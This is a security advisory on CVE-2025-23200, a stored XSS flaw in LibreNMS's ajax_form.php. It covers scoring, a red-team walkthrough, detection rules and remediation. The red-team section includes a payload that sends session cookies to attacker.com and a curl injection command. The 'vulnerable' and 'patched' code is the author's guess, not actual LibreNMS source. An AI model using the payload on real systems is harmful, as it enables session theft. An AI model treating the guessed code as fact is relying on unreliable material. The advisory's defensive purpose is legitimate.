CVE-2025-23200

Executive Summary

CVE-2025-23200 is a stored cross-site scripting (XSS) vulnerability in LibreNMS, a popular open-source network monitoring system. The flaw resides in the ajax_form.php script, specifically within the state parameter. An attacker can inject malicious JavaScript code that is stored on the server. When a victim (typically an administrator or other user) views the affected page, the injected script executes in their browser context. This can lead to session hijacking, data exfiltration, or unauthorized actions within the LibreNMS interface. The vulnerability affects all versions up to and including 24.10.1. The issue has been patched in version 24.11.0. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at the time of analysis.

Supply Chain & Package Security

LibreNMS is distributed as a PHP application via GitHub and its own installer. It is not an NPM, PyPI, Go, or Ruby package. Therefore, supply chain risks are limited to the integrity of the GitHub repository and the PHP Composer dependencies. Users should verify the integrity of their installation by checking the official release signatures and ensuring they are not using modified or unofficial builds.

CVSS Breakdown & Threat Level

• CVSS Score: 4.6 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim must view the affected page.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure is possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature means that an attacker can persistently target users, including administrators. The lack of authentication requirements for injection makes it easier to exploit, but the need for user interaction reduces the immediate risk.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (Cross-Site Scripting) in the ajax_form.php endpoint. The state parameter is used to pass data that is later rendered in the web interface without proper sanitization or encoding. An attacker can craft a request to ajax_form.php with a malicious payload in the state parameter, such as:

state=<script>alert('XSS')</script>

This payload is stored in the database (likely in a table related to device states or alerts). When an administrator or user navigates to a page that displays this state data (e.g., the device overview or alert dashboard), the script executes in their browser. The stored nature means the attack persists until the malicious data is removed or the user clears the affected records.

The root cause is insufficient output encoding. The application fails to escape HTML entities when rendering the state value. In the patched version (24.11.0), the developers likely implemented proper HTML encoding using functions like htmlspecialchars() in PHP or a templating engine that auto-escapes output.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-24.11.0): In the vulnerable version, the state parameter is likely echoed directly into the HTML without sanitization. For example, in a PHP file that processes ajax_form.php:

// Vulnerable: Direct output without encoding
echo "<div class='state'>" . $_POST['state'] . "</div>";

Patched Code (24.11.0+): The patched version uses proper output encoding:

// Patched: HTML-encoded output
echo "<div class='state'>" . htmlspecialchars($_POST['state'], ENT_QUOTES, 'UTF-8') . "</div>";

This ensures that any injected HTML or JavaScript is rendered as text, not executed.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target LibreNMS instance (version <= 24.10.1) accessible over the network.
• No authentication required for the injection point (the ajax_form.php endpoint may be accessible to unauthenticated users, depending on configuration).

Exploitation Steps:

1. Identify the vulnerable endpoint: Send a GET or POST request to ajax_form.php with a test parameter to confirm it accepts the state parameter.
2. Craft the payload: Use a JavaScript payload that performs a malicious action, such as stealing cookies or redirecting to a phishing page.

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Inject the payload: Send the request using curl or a browser's developer tools.

   curl -X POST http://target/librenms/ajax_form.php -d "state=<script>alert('XSS')</script>"
   

4. Trigger execution: An administrator or user visits the page that displays the state data (e.g., device details or alert list). The script executes in their browser.

Expected Outcome: The attacker can steal session cookies, perform actions on behalf of the victim, or deface the interface.

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual requests to ajax_form.php containing <script> tags or other HTML/JavaScript patterns.
• Use a Web Application Firewall (WAF) to block requests with suspicious payloads in the state parameter.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search the database for stored XSS indicators in the state field (e.g., entries containing <script>).
• Review recent changes to device states or alerts that may have been injected.

Mitigation:

• Immediately upgrade to LibreNMS version 24.11.0 or later.
• If upgrade is not possible, manually sanitize the state parameter in the code or use a WAF rule to block malicious input.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /librenms/ajax_form.php with state parameter containing <script> tags or base64-encoded JavaScript.
  • Outbound connections from the LibreNMS server to unknown IPs (potential data exfiltration).
• File IOCs:
  • Modified entries in the database table storing device states (e.g., alerts, devices).
• Log IOCs:
  • Web server logs showing POST /librenms/ajax_form.php with state=<script>... patterns.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the browser when viewing LibreNMS pages.
  • Unauthorized changes to LibreNMS configuration or user accounts.

Detection Engineering

YARA Rule

rule CVE_2025_23200_LibreNMS_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in LibreNMS state parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23200"
    strings:
        $xss_payload = /state=<[^>]*script[^>]*>/
        $xss_encoded = /state=%3Cscript%3E/
    condition:
        any of them
}

Sigma Rule

title: LibreNMS Stored XSS via ajax_form.php state Parameter
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-23200 by injecting XSS payloads into the state parameter of ajax_form.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'ajax_form.php'
        cs-uri-query|contains|all:
            - 'state='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in state field (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23200 LibreNMS Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"ajax_form.php"; http_uri; content:"state="; http_client_body; pcre:"/state=<[^>]*script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update LibreNMS to version 24.11.0 or later. This is the only complete fix.
2. WAF Rules: Deploy a Web Application Firewall rule to block requests containing <script> in the state parameter.
3. Input Validation: If upgrade is delayed, manually add input validation to ajax_form.php to reject or sanitize the state parameter.

Long-Term Measures:

• Implement a Content Security Policy (CSP) that restricts script execution to trusted sources.
• Regularly audit LibreNMS installations for outdated versions.
• Train users to avoid clicking on suspicious links or interacting with unexpected pop-ups.

Workarounds:

• No official workarounds are available. The only safe mitigation is to upgrade.

Valters IT
Securing Digital Frontiers